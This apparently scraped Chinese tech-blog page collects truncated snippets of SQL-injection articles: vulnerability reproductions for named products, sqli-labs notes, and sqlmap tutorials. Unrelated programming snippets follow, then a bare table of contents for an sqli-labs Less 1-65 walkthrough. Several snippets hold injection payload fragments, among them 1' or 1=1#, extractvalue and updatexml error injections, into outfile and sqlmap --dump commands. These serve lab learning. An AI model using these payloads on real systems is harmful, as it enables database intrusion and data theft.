0x01产品简介福建科立讯通信指挥调度管理平台是一个专门针对通信行业的管理平台。该产品旨在提供高效的指挥调度和管理解决方案，以帮助通信运营商或相关机构实现更好的运营效率和服务质量。该平台提供强大的指挥调度功能，可以实时监控和管理通信网络设备、维护人员和工作任务等。用户可以通过该平台发送指令、调度人员、分配任务，并即时获取现场反馈和报告。0x02漏洞概述福建科立讯通信指挥调度管理平台down_fil
网页有效防止XSS,SQL注入,木马文件拦截上传等安全问题程序员贵哥网络安全 xss sql 安全网络安全 web安全 php
网络安全问题一直是备受关注的话题，其中跨站脚本攻击（XSS）、SQL注入和木马文件上传是常见的安全威胁。下面我将详细介绍这些安全问题。首先是跨站脚本攻击（XSS）。XSS攻击是一种利用网站漏洞，将恶意脚本注入到用户浏览器中并执行的攻击方式。攻击者可以在网站中插入恶意脚本，当用户浏览该网站时，恶意脚本会被执行，从而窃取用户的敏感信息或执行其他恶意操作。XSS攻击可以分为反射型、存储型和DOM-bas
WordPress Plugin NotificationX插件 SQL注入漏洞复现（CVE-2024-1698） OidBoy_G 漏洞复现 sql web安全安全
0x01产品简介WordPress和WordPressplugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。0x02漏洞概述WordPresspluginNotificationX是一个应用插件。2.8.2版本及之前存在安全漏洞，该漏洞源于对用户提供的参数转义不充分以及对现有SQL查询缺乏充分
sql注入（limit后注入）草莓养殖户
1、procedureanalyse()select*fromusersorderbyidlimit0,5procedureanalyse(1,extractvalue(rand(),concat(0x3a,version())));2、写文件。select***intooutfile
sql注入之post 传参方式的注入西蒙娜 sql
在输入框里面进行注入需要的注释符#是否存在注入点，注入点在有和数据库服务器交互的地方万能密码1'or1=1#sqlmap之post注入1:将变量参数位置加*uname=name*在sqlmap安装目录下面新建文本文件为x.txtpythonsqlmap.py-rr.txt--dbs-Ddn--tables-Ddn-Ttn--columns-Ddn-Ttn-c1,c2--dumppost注入2:先将
阿里云高防服务器如何实现安全防护，以及如何接触安全防护九河云安全服务器阿里云
随着互联网的发展，网络安全问题日益突出，不法分子利用网络空间进行各种网络攻击，如DDoS攻击、SQL注入、XSS漏洞等，给个人、企业甚至国家的信息安全带来了极大的威胁。为了保障网络安全，高防服务器和阿里云服务器是很好的选择，下面九河云来讲讲高防服务器怎样实现安全防护措施，以及阿里云服务器安全防护怎么解除。一、高防服务器的安全防护措施1、DDoS攻击防护DDoS攻击属于分布式拒绝服务攻击，其主要手段
字节面试分享，请详细介绍为何Http Post发送两次请求 zy_zeros 面试 http 职场和发展
在浏览器中，内容是很开放的，任何资源都可以接入其中，如JavaScript文件、图片、音频、视频等资源，甚至可以下载其他站点的可执行文件。但也不是说浏览器就是完全自由的，如果不加以控制，就会出现一些不可控的局面，例如会出现一些安全问题，如：跨站脚本攻击（XSS）SQL注入攻击OS命令注入攻击HTTP首部注入攻击跨站点请求伪造（CSRF）等等…如果这些都没有限制的话，对于我们用户而言，是相对危险的，
友点CMS GetSpecial SQL注入漏洞复现 OidBoy_G 漏洞复现安全 web安全
0x01产品简介友点CMS是一款高效且灵活的网站管理系统，它为用户提供了简单易用的界面和丰富的功能。无论是企业还是个人，都能通过友点CMS快速搭建出专业且美观的网站。该系统支持多种内容类型和自定义模板，方便用户按需调整。同时，它具备强大的SEO功能，能提升网站在搜索引擎中的排名。友点CMS还支持多语言设置，适应国际化需求。总的来说，友点CMS是网站建设的理想选择，既高效又易用。0x02漏洞概述友点
JeePlus快速开发平台 validateMobile SQL注入漏洞复现 OidBoy_G 漏洞复现 sql web安全安全
0x01产品简介JeePlus（洁普斯）是一个软件快速开发平台，使用多种现代Web技术，包括SpringCloud/SpringBoot、MyBatisPlus、SpringSecurity、Redis、Vue3、ElementPlus等。该平台支持多种数据库，如MySQL、Oracle、sqlserver、postgresql等。JeePlus采用标准的SOA架构，依托优秀的前台富客户端框架（如
Jeeplus快速开发平台 validateMobileExist SQL注入漏洞 OidBoy_G 漏洞复现 sql 安全 web安全
0x01产品简介JeePlus（洁普斯）是一个软件快速开发平台，使用多种现代Web技术，包括SpringCloud/SpringBoot、MyBatisPlus、SpringSecurity、Redis、Vue3、ElementPlus等。该平台支持多种数据库，如MySQL、Oracle、sqlserver、postgresql等。JeePlus采用标准的SOA架构，依托优秀的前台富客户端框架（如
JavaWeb学习(一)---MySQL数据库肥大毛 Java学习数据库 mysql 学习
文章目录MySQL查询中嵌套查询，称嵌套查询为子查询事务事务的四大特性数据库引擎存储过程变量函数触发器JDBCJDBC详解DriverManager驱动管理类Connection数据库连接对象Statementsql执行ResultSet：结果集对象PreparedStatement：预编译SQL语句并且执行，预防SQL注入问题在sql语句中？代表占位符数据库连接池练习：基于Druid连接池实现对
SQL注入工具之SQLmap入门操作测试小鬼自动化 sql python 软件测试经验分享 fiddler 开发语言
了解SQLmap基础操作SQLmap是一款自动化的SQL注入工具，可以用于检测和利用SQL注入漏洞。以下是SQLmap的入门操作步骤：1.下载SQLmap：可以从官方网站（https://sqlmap.org/）下载最新版本的SQLmap。2.打开终端：在终端中进入SQLmap所在的目录。3.输入命令：使用以下命令运行SQLmap：pythonsqlmap.py-u其中，;是指要测试的网站的URL
XMall 开源商城 SQL注入漏洞复现(CVE-2024-24112) OidBoy_G 漏洞复现 web安全安全 sql
0x01产品简介XMall开源电商商城是开发者Exrick的一款基于SOA架构的分布式电商购物商城前后端分离前台商城:Vue全家桶后台管理:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等。0x02漏洞概述XMall开源商城/item/list、/item/listSearch、/sys/log、/order/list、/m
负载均衡下webshell连接nginx解析漏洞、sql注入第一关 kaituozhizzz 负载均衡 nginx 运维
首先搭建环境找到php较低的版本改一下账号密码输入?id=1正常输入?id=1'报错'.0'输入?id=1'--+正常判断是字符型注入，闭合方式是'id是1后台看是数据表里第一行查询id=1'出错前端打印出了报错信息语法错误这里是找到了库名，接下来是找表名这个方法是子里面把两个表连接在一起查询出的数据，当做一张表来进行查询，join是连接的意思，复查询去查询?id=1'and1=2unionsel
解决updatexml和extractvalue查询显示不全 etc _ life 面试问题 sql 数据库
报错注入是一种常见的SQL注入方式，通过注入代码，触发数据库的错误响应，并从错误信息中获取有用的信息。updatexml和extractvalueupdatexml和extractvalue是常用的两个报错注入函数http://localhost/sqli/Less-5/?id=1%27and%20updatexml(1,concat(%27~%27,(select%20user())),1)--
Python访问数据库互联网的猫 Python从入门到精通 python
目录SQLite数据库SQLite数据类型Python数据类型与SQLite数据类型的映射使用GUI管理工具管理SQLite数据库数据库编程的基本操作过程sqlite3模块API数据库连接对象Connection游标对象Cursor数据库的CRUD操作示例示例中的数据表无条件查询有条件查询插入数据更新数据删除数据防止SQL注入攻击如果数据量较少，则我们可以将数据保存到文件中；如果数据量较大，则我们
MyBatis进阶学习 m0_57408062 mybatis 学习 java
1.如何复制Maven项目1.复制文件夹,修改名字2.修改.iml文件的名字和文件夹名字一致3.修改.xml中为文件夹名字2.MyBatis增删改查MyBatis三种开发方式①接口代理的开发方式(重点)②使用注解的开发方式(重点)③传统DAO实现类的开发方式(目前淘汰)1.根据id查询注意:#{变量}select*fromuserwhereid=?;?表示占位符,是预编译的效果,不会有SQL注入的
常见Web安全漏洞的实际案例和攻防技术清水白石008 web安全安全
常见Web安全漏洞的实际案例和攻防技术1、SQL注入攻击与防范：通过一个简单的Web应用演示SQL注入攻击，包括入侵者如何通过输入恶意SQL语句来获取敏感数据。提供相应的防范措施，包括参数化查询、ORM框架的使用等，并附上实际代码演示。Copycode#恶意SQL注入语句的示例SELECT*FROMusersWHEREusername='admin'ANDpassword='xxx'OR'1'=
[BJDCTF2020]EasySearch1 不会编程的崽不会编程的崽安全网络安全 web安全
先来看看界面源代码，抓包似乎都没什么线索，sql注入没什么反应。用dirsearch扫描3遍也没什么结果。。。最后使用dirmap才发现了网站源码文件。真够隐蔽的。index.php.swp源码也很简单，大概分为两层意思1.username存在即可，password经过md5加密后的前6位必须是6d0bc1。2.会利用get_shtml函数生成一个public文件夹下的shtml文件，并将内容写入
【网络安全|白帽子】用技术合法挖漏洞，一个月能拿多少钱？网安老伯 web安全安全网络网络安全学习电脑大数据
现在很多白帽子（网安工程师/渗透测试工程师）都会在下班之后利用业余时间去补天之类的漏洞赏金平台挖漏洞，用技术合法给企业找出威胁存在，拿到漏洞赏金。那么现在，一般人用网安技术挖漏洞一个月能拿多少钱？如果你只是会用一些诸如Nmap和SQLMap这种简单的工具，你去漏洞平台上挖漏洞基本上是不可能有什么收获的，因为简单的漏洞早就被别人查出来了，轮不到你的。那么怎么找漏洞？第一个：SQL注入漏洞AS:首先是
【漏洞复现-通达OA】通达OA getcallist存在前台SQL注入漏洞 xiaokp7 漏洞复现 sql 数据库
一、漏洞简介通达OA（OfficeAnywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。通达OAgetcallist存在前台SQL注入漏
【漏洞复现-通达OA】通达OA swfupload_new存在前台SQL注入漏洞 xiaokp7 漏洞复现 sql 数据库
一、漏洞简介通达OA（OfficeAnywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。通达OAswfupload_new存在前台SQL
【漏洞复现-通达OA】通达OA share存在前台SQL注入漏洞 xiaokp7 漏洞复现 sql 数据库
一、漏洞简介通达OA（OfficeAnywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化软件，是与中国企业管理实践相结合形成的综合管理办公平台。通达OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。通达OA/share/handle.php存在S
Nacos系统历史CVE漏洞的复现分析与检测 Tr0e 漏洞分析 Nacos漏洞
文章目录前言CVE-2021-29441认证绕过1.1环境搭建与复现1.2漏洞源码的分析1.3修复方案被绕过1.4衍生的默认凭据QVD-2023-6271默认密钥2.1环境搭建与复现2.2漏洞修复与现状2.3CVE-2021-43116CNVD-2020-67618SQL注入3.1环境搭建与复现3.2漏洞分析与修复3.3Nacos漏洞ToolsCNVD-2023-45001反序列化4.1环境搭建与
2019年密码与安全新技术讲座-课程总结报告 weixin_34345753 密码学
2019年密码与安全新技术讲座-课程总结报告课程讲座总结网络（web）安全与内容安全信息化的发展使得信息安全越发重要。在网络中由于存在威胁方-防护方技术、成本、风险、主题的非对称性，维护信息安全的难度非常之高，没有哪一个系统敢说自己是绝对安全的，但起码应该对常见的威胁做出应对，避免系统被很容易的攻破。目前WEB应用中存在很多漏洞，常见的WEB漏洞如下：SQL注入攻击不管用什么语言编写的Web应用，
【ASP.NET Core 基础知识】--安全性--防范常见攻击喵叔哟 ASP.NET Core 基础知识 asp.net 网络后端
在现实网络中即存在着安全的流量，又存在着不安全的流量在，这些不安全的流量常常会对我们的网站服务造成威胁，严重的甚至会泄露用户的隐私信息。这篇文章我们通过对常见的网络攻击跨站脚本攻击、跨站请求伪造(CSRF)、SQL注入、敏感数据泄露、身份验证与授权防范方面讲解如何防范网络攻击。一、跨站脚本攻击(XSS)防范1.1XSS攻击原理跨站脚本攻击（XSS）利用了web应用程序未对用户输入进行充分验证和过滤
小迪安全26WEB 攻防-通用漏洞&SQL 注入 &Sqlmap&Oracle&Mongodb&DB2 等 yiqiqukanhaiba 安全 web安全 sql
#知识点：1、数据库注入-Oracle&Mongodb2、数据库注入-DB2&SQLite&Sybase3、SQL注入神器-SQLMAP安装使用拓展数据库注入：数据库注入-联合猜解-Oracle&Mongodb1.Oracle数据库一般会在java上执行参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html猜回显位：用的是单引号，进行猜测
什么是SQL注入，有什么防范措施安全http
随着互联网的普及和数字化进程的加速，Web攻击已经成为网络安全领域的一大威胁。Web攻击不仅可能导致个人隐私泄露、财产损失，还可能对企业和国家的安全造成严重影响。下面德迅云安全就分享一种常见的web攻击方式-SQL注入，了解下什么是SQL注入，还有面对攻击时有哪些防范措施。通过了解这方面的网络安全知识，可以提高日常的web安全性。什么是SQL注入：SQL注入（SQLInjection）是一种常见的
ChatGPT高效提问—prompt实践（漏洞风险分析-重构建议-识别内存泄漏） Bruce_Liuxiaowei 总结经验笔记 chatgpt prompt 重构
ChatGPT高效提问—prompt实践（漏洞风险分析-重构建议-识别内存泄漏）1.1漏洞和风险分析ChatGPT还可以帮助开发人员预测代码的潜在风险，识别其中的安全漏洞，而不必先运行它，这可以让开发人员及早发现错误，提高代码质量。输入prompt:ChatGPT输出：我们输入了一段代码，ChatGPT迅速找出SQL注入漏洞并给出修复方法。1.2重构建议一个复杂的代码库可能包含难以理解或修改的代码
【复现】Supabase后端服务 SQL注入漏洞_48 穿着白衣安全漏洞安全 web安全系统安全网络安全数据库
目录一.概述二.漏洞影响三.漏洞复现1.漏洞一：四.修复建议：五.搜索语法：六.免责声明一.概述Supabase是什么Supabase将自己定位为Firebase的开源替代品，提供了一套工具来帮助开发者构建web或移动应用程序。Supabase是建立在Postgres之上.二.漏洞影响攻击者未经授权可以访问数据库中的数据，盗取用户的隐私以及个人信息，造成用户的信息泄露。可以对数据库的数据进行增加或
继之前的线程循环加到窗口中运行 3213213333332132 java thread JFrame JPanel
之前写了有关java线程的循环执行和结束，因为想制作成exe文件，想把执行的效果加到窗口上，所以就结合了JFrame和JPanel写了这个程序，这里直接贴出代码，在窗口上运行的效果下面有附图。 package thread; import java.awt.Graphics; import java.text.SimpleDateFormat; import java.util
linux 常用命令 BlueSkator linux 命令
1.grep 相信这个命令可以说是大家最常用的命令之一了。尤其是查询生产环境的日志，这个命令绝对是必不可少的。但之前总是习惯于使用（grep -n 关键字文件名）查出关键字以及该关键字所在的行数，然后再用（sed -n '100,200p' 文件名），去查出该关键字之后的日志内容。但其实还有更简便的办法，就是用（grep -B n、-A n、-C n 关键
php heredoc原文档和nowdoc语法 dcj3sjt126com PHP heredoc nowdoc
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Current To-Do List</title> </head> <body> <?
overflow的属性周华华 JavaScript
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml&q
《我所了解的Java》——总体目录 g21121 java
准备用一年左右时间写一个系列的文章《我所了解的Java》，目录及内容会不断完善及调整。在编写相关内容时难免出现笔误、代码无法执行、名词理解错误等，请大家及时指出，我会第一时间更正。 &n
[简单]docx4j常用方法小结 53873039oycg docx
本代码基于docx4j-3.2.0，在office word 2007上测试通过。代码如下: import java.io.File; import java.io.FileInputStream; import ja
Spring配置学习云端月影 spring配置
首先来看一个标准的Spring配置文件 applicationContext.xml <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi=&q
Java新手入门的30个基本概念三 aijuans java 新手 java 入门
17.Java中的每一个类都是从Object类扩展而来的。　　18.object类中的equal和toString方法。　　equal用于测试一个对象是否同另一个对象相等。　　toString返回一个代表该对象的字符串,几乎每一个类都会重载该方法,以便返回当前状态的正确表示.(toString 方法是一个很重要的方法)　　 19.通用编程:任何类类型的所有值都可以同object类性的变量来代替。　
《2008 IBM Rational 软件开发高峰论坛会议》小记 antonyup_2006 软件测试敏捷开发项目管理 IBM 活动
我一直想写些总结,用于交流和备忘,然都没提笔,今以一篇参加活动的感受小记开个头,呵呵! 其实参加《2008 IBM Rational 软件开发高峰论坛会议》是9月4号,那天刚好调休.但接着项目颇为忙,所以今天在中秋佳节的假期里整理了下. 参加这次活动是一个朋友给的一个邀请书,才知道有这样的一个活动,虽然现在项目暂时没用到IBM的解决方案,但觉的参与这样一个活动可以拓宽下视野和相关知识.
PL/SQL的过程编程,异常,声明变量,PL/SQL块百合不是茶 PL/SQL的过程编程异常 PL/SQL块声明变量
PL/SQL; 过程; 符号; 变量; PL/SQL块; 输出; 异常; PL/SQL 是过程语言(Procedural Language)与结构化查询语言(SQL)结合而成的编程语言PL/SQL 是对 SQL 的扩展,sql的执行时每次都要写操作
Mockito(三)--完整功能介绍 bijian1013 持续集成 mockito 单元测试
mockito官网：http://code.google.com/p/mockito/，打开documentation可以看到官方最新的文档资料。一.使用mockito验证行为 //首先要import Mockito import static org.mockito.Mockito.*; //mo
精通Oracle10编程SQL(8)使用复合数据类型 bijian1013 oracle 数据库 plsql
/* *使用复合数据类型 */ --PL/SQL记录 --定义PL/SQL记录 --自定义PL/SQL记录 DECLARE TYPE emp_record_type IS RECORD( name emp.ename%TYPE, salary emp.sal%TYPE, dno emp.deptno%TYPE ); emp_
【Linux常用命令一】grep命令 bit1129 Linux常用命令
grep命令格式 grep [option] pattern [file-list] grep命令用于在指定的文件(一个或者多个,file-list)中查找包含模式串(pattern)的行,[option]用于控制grep命令的查找方式。 pattern可以是普通字符串，也可以是正则表达式，当查找的字符串包含正则表达式字符或者特
mybatis3入门学习笔记白糖_ sql ibatis qq jdbc 配置管理
MyBatis 的前身就是iBatis，是一个数据持久层(ORM)框架。 MyBatis 是支持普通 SQL 查询，存储过程和高级映射的优秀持久层框架。MyBatis对JDBC进行了一次很浅的封装。以前也学过iBatis，因为MyBatis是iBatis的升级版本，最初以为改动应该不大，实际结果是MyBatis对配置文件进行了一些大的改动，使整个框架更加方便人性化。
Linux 命令神器：lsof 入门 ronin47 lsof
lsof是系统管理/安全的尤伯工具。我大多数时候用它来从系统获得与网络连接相关的信息，但那只是这个强大而又鲜为人知的应用的第一步。将这个工具称之为lsof真实名副其实，因为它是指“列出打开文件（lists openfiles）”。而有一点要切记，在Unix中一切（包括网络套接口）都是文件。有趣的是，lsof也是有着最多
java实现两个大数相加，可能存在溢出。 bylijinnan java实现
import java.math.BigInteger; import java.util.regex.Matcher; import java.util.regex.Pattern; public class BigIntegerAddition { /** * 题目：java实现两个大数相加，可能存在溢出。 * 如123456789 + 987654321
Kettle学习资料分享，附大神用Kettle的一套流程完成对整个数据库迁移方法 Kai_Ge Kettle
Kettle学习资料分享 Kettle 3.2 使用说明书目录概述..........................................................................................................................................7 1.Kettle 资源库管
[货币与金融]钢之炼金术士 comsci 金融
自古以来,都有一些人在从事炼金术的工作.........但是很少有成功的那么随着人类在理论物理和工程物理上面取得的一些突破性进展...... 炼金术这个古老
Toast原来也可以多样化 dai_lm android toast
Style 1：默认 Toast def = Toast.makeText(this, "default", Toast.LENGTH_SHORT); def.show(); Style 2：顶部显示 Toast top = Toast.makeText(this, "top", Toast.LENGTH_SHORT); t
java数据计算的几种解决方法3 datamachine java hadoop ibatis r-langue r
4、iBatis 简单敏捷因此强大的数据计算层。和Hibernate不同，它鼓励写SQL，所以学习成本最低。同时它用最小的代价实现了计算脚本和JAVA代码的解耦，只用20%的代价就实现了hibernate 80%的功能,没实现的20%是计算脚本和数据库的解耦。复杂计算环境是它的弱项，比如：分布式计算、复杂计算、非数据
向网页中插入透明Flash的方法和技巧 dcj3sjt126com html Web Flash
将 Flash 作品插入网页的时候，我们有时候会需要将它设为透明，有时候我们需要在Flash的背面插入一些漂亮的图片，搭配出漂亮的效果……下面我们介绍一些将Flash插入网页中的一些透明的设置技巧。　　一、Swf透明、无坐标控制　　首先教大家最简单的插入Flash的代码，透明，无坐标控制：　　注意wmode="transparent"是控制Flash是否透明
ios UICollectionView的使用 dcj3sjt126com
UICollectionView的使用有两种方法，一种是继承UICollectionViewController，这个Controller会自带一个UICollectionView；另外一种是作为一个视图放在普通的UIViewController里面。个人更喜欢第二种。下面采用第二种方式简单介绍一下UICollectionView的使用。 1.UIViewController实现委托，代码如
Eos平台java公共逻辑蕃薯耀 Eos平台java公共逻辑 Eos平台 java公共逻辑
Eos平台java公共逻辑 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 2015年6月1日 17:20:4
SpringMVC4零配置--Web上下文配置【MvcConfig】 hanqunfeng springmvc4
与SpringSecurity的配置类似，spring同样为我们提供了一个实现类WebMvcConfigurationSupport和一个注解@EnableWebMvc以帮助我们减少bean的声明。 applicationContext-MvcConfig.xml  <
解决ie和其他浏览器poi下载excel文件名乱码 jackyrong Excel
使用poi,做传统的excel导出，然后想在浏览器中，让用户选择另存为，保存用户下载的xls文件，这个时候，可能的是在ie下出现乱码（ie,9,10,11),但在firefox,chrome下没乱码，因此必须综合判断，编写一个工具类： /** * * @Title: pro
挥洒泪水的青春 lampcy 编程生活程序员
2015年2月28日，我辞职了，离开了相处一年的触控，转过身--挥洒掉泪水，毅然来到了兄弟连，背负着许多的不解、质疑——”你一个零基础、脑子又不聪明的人，还敢跨行业，选择Unity3D？“，”真是不自量力••••••“，”真是初生牛犊不怕虎•••••“，••••••我只是淡淡一笑，拎着行李----坐上了通向挥洒泪水的青春之地——兄弟连！这就是我青春的分割线，不后悔，只会去用泪水浇灌——已经来到
稳增长之中国股市两点意见-----严控做空，建立涨跌停版停牌重组机制 nannan408
对于股市，我们国家的监管还是有点拼的，但始终拼不过飞流直下的恐慌，为什么呢？笔者首先支持股市的监管。对于股市越管越荡的现象，笔者认为首先是做空力量超过了股市自身的升力，并且对于跌停停牌重组的快速反应还没建立好，上市公司对于股价下跌没有很好的利好支撑。我们来看美国和香港是怎么应对股灾的。美国是靠禁止重要股票做空，在
动态设置iframe高度(iframe高度自适应) Rainbow702 JavaScript iframe contentDocument 高度自适应局部刷新
如果需要对画面中的部分区域作局部刷新，大家可能都会想到使用ajax。但有些情况下，须使用在页面中嵌入一个iframe来作局部刷新。对于使用iframe的情况，发现有一个问题，就是iframe中的页面的高度可能会很高，但是外面页面并不会被iframe内部页面给撑开，如下面的结构： <div id="content"> <div id=&quo
用Rapael做图表 tntxia rap
function drawReport(paper,attr,data){ var width = attr.width; var height = attr.height; var max = 0; &nbs
HTML5 bootstrap2网页兼容（支持IE10以下） xiaoluode html5 bootstrap
<!DOCTYPE html> <html> <head lang="zh-CN"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge">

sql-lab 通关Less1 -65（深入学习）

文章目录

sql-lab 复现通关（深入学习）

前言

目的

less-1 基于错误的单引号字符串

Less-2 基于错误的get整型注入

Less-3 基于错误的get单引号变形字符型注入

Less-4 基于错误的GET双引号字符型注入

Less-5 双注入GET单引号字符型注入

Less-6 双注入GET双引号字符型注入

Less-7 导出文件GET字符型注入

Less-8 布尔型单引号GET盲注

Less-9 基于时间的GET单引号盲注

Less-10 基于时间的双引号盲注

Less-11 基于错误的PSOT单引号字符

Less-12 基于错误的双引号POST型字符变形注入

Less-13 POST 单引号变形双注入

Less-14 POST双引号变形双注入

Less-15 基于bool型/时间延迟单引号POST型盲注

Less-16 post方法双引号括号绕过时间盲

Less-17 基于错误的更新查询POST注入

Less-18 基于错误的用户代理，头部POST注入

Less-19 基于头部的RefererPOST报错注入

Less-20 基于错误的cookie头部POST注入

Less-21 基于错误的复杂的字符型Cookie注入

Less-22 基于错误的双引号字符型Cookie注入)

Less-23 基于错误的，过滤注释的GET型

Less-24 二次注入

Less-25 过滤了or和and

Less-26 过滤了注释和空格的注入

Less-26a 过滤了空格和注释的盲注

Less-27 过滤了union和select

Less-27a 过滤了union和select

Less-28 过滤了union和select大小写

Less-28a盲注 过滤了union和select大小写

Less-29 获取-基于错误的缺乏证据的不匹配-在web应用程序前面有一个WAF。

Less-30 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。

Less-31 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。

Less-32 一个为危险字符添加斜线的GET - Bypass自定义过滤器

Less-33 bypass Addslashes()

Less-34 bypass Addslashes()

Less-35 GET-Bypass添加斜杠(我们不需要)整数

Less-36 GET-Bypass MySQLreal escape_string

Less-37 POST-Bypass MySQLreal escape_string

Less-38 层次化查询

Less-38 层次化查询

Less-39 GET - Stacked Query Injection - Intiger based

Less-40 GET-BLIND - based - String - stacked

Less-41 GET - BLIND based - Intiger - Stacked

Less-42 POST - Stacked Query error based

Less-43 POST- Stacked Query error based with twist

Less-44 POST - Error based - String - Stacked -Blind

Less-45 POST - Error based - String - Stacked - Blind

Less-46 ORDER BY-Error-Numeric

Less-47 ORDER BY Clause-Error-Single quote

Less-48 ORDER BY Clause Blind based

Less-49 ORDER BY Clause Blind based

Less-50 ORDER BY Clause Blind based

Less-51 ORDER BY Clause Blind based

Less-52 ORDER BY Clause Blind based

Less - 53 ORDER BY Clause Blind based

Less-54 GET-challenge-Union-10 queries allowed-Variation 1

Less-55 GET-challenge-Union-14 queries allowed-Variation 2

Less-56 GET-challenge-Union-14 queries allowed-Variation 3

Less-57 GET-challenge-Union-14 queries allowed-Variation 4

Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1

Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2

Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3

Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4

Less-62 GET-challenge-Blind- 130 queries allowed -variation 1

Less-63 GET-challenge-Blind- 130 queries allowed -variation 2

Less-64 GET-challenge-Blind- 130 queries allowed -variation 3

Less-65 GET-challenge-Blind- 130 queries allowed -variation 4

你可能感兴趣的:(#,sql注入)

Less-28a盲注过滤了union和select大小写